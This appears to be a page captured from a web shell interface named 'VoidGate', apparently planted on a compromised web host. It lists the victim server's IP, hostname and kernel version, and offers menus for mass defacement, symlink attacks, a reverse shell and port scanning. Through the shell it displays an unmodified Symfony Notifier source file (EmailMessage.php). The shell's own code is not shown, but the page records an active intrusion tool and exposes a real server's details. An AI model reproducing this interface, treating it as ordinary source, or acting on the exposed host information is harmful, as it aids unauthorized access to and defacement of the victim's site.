ヤミRoot VoidGate
User / IP
:
216.73.216.143
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
vendor
/
symfony
/
notifier
/
Message
/
Viewing: EmailMessage.php
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Notifier\Message; use Symfony\Bridge\Twig\Mime\NotificationEmail; use Symfony\Component\Mailer\Envelope; use Symfony\Component\Mime\Email; use Symfony\Component\Mime\RawMessage; use Symfony\Component\Notifier\Exception\InvalidArgumentException; use Symfony\Component\Notifier\Exception\LogicException; use Symfony\Component\Notifier\Notification\Notification; use Symfony\Component\Notifier\Recipient\EmailRecipientInterface; /** * @author Fabien Potencier <fabien@symfony.com> */ final class EmailMessage implements MessageInterface { private $message; private $envelope; public function __construct(RawMessage $message, Envelope $envelope = null) { $this->message = $message; $this->envelope = $envelope; } public static function fromNotification(Notification $notification, EmailRecipientInterface $recipient): self { if ('' === $recipient->getEmail()) { throw new InvalidArgumentException(sprintf('"%s" needs an email, it cannot be empty.', __CLASS__)); } if (!class_exists(NotificationEmail::class)) { $email = (new Email()) ->to($recipient->getEmail()) ->subject($notification->getSubject()) ->text($notification->getContent() ?: $notification->getSubject()) ; } else { $email = (new NotificationEmail()) ->to($recipient->getEmail()) ->subject($notification->getSubject()) ->content($notification->getContent() ?: $notification->getSubject()) ->importance($notification->getImportance()) ; if ($exception = $notification->getException()) { $email->exception($exception); } } return new self($email); } public function getMessage(): RawMessage { return $this->message; } public function getEnvelope(): ?Envelope { return $this->envelope; } /** * @return $this */ public function envelope(Envelope $envelope): self { $this->envelope = $envelope; return $this; } public function getSubject(): string { return ''; } public function getRecipientId(): ?string { return null; } public function getOptions(): ?MessageOptionsInterface { return null; } /** * @return $this */ public function transport(?string $transport): self { if (!$this->message instanceof Email) { throw new LogicException('Cannot set a Transport on a RawMessage instance.'); } if (null === $transport) { return $this; } $this->message->getHeaders()->addTextHeader('X-Transport', $transport); return $this; } public function getTransport(): ?string { return $this->message instanceof Email ? $this->message->getHeaders()->getHeaderBody('X-Transport') : null; } }
Coded With 💗 by
0x6ick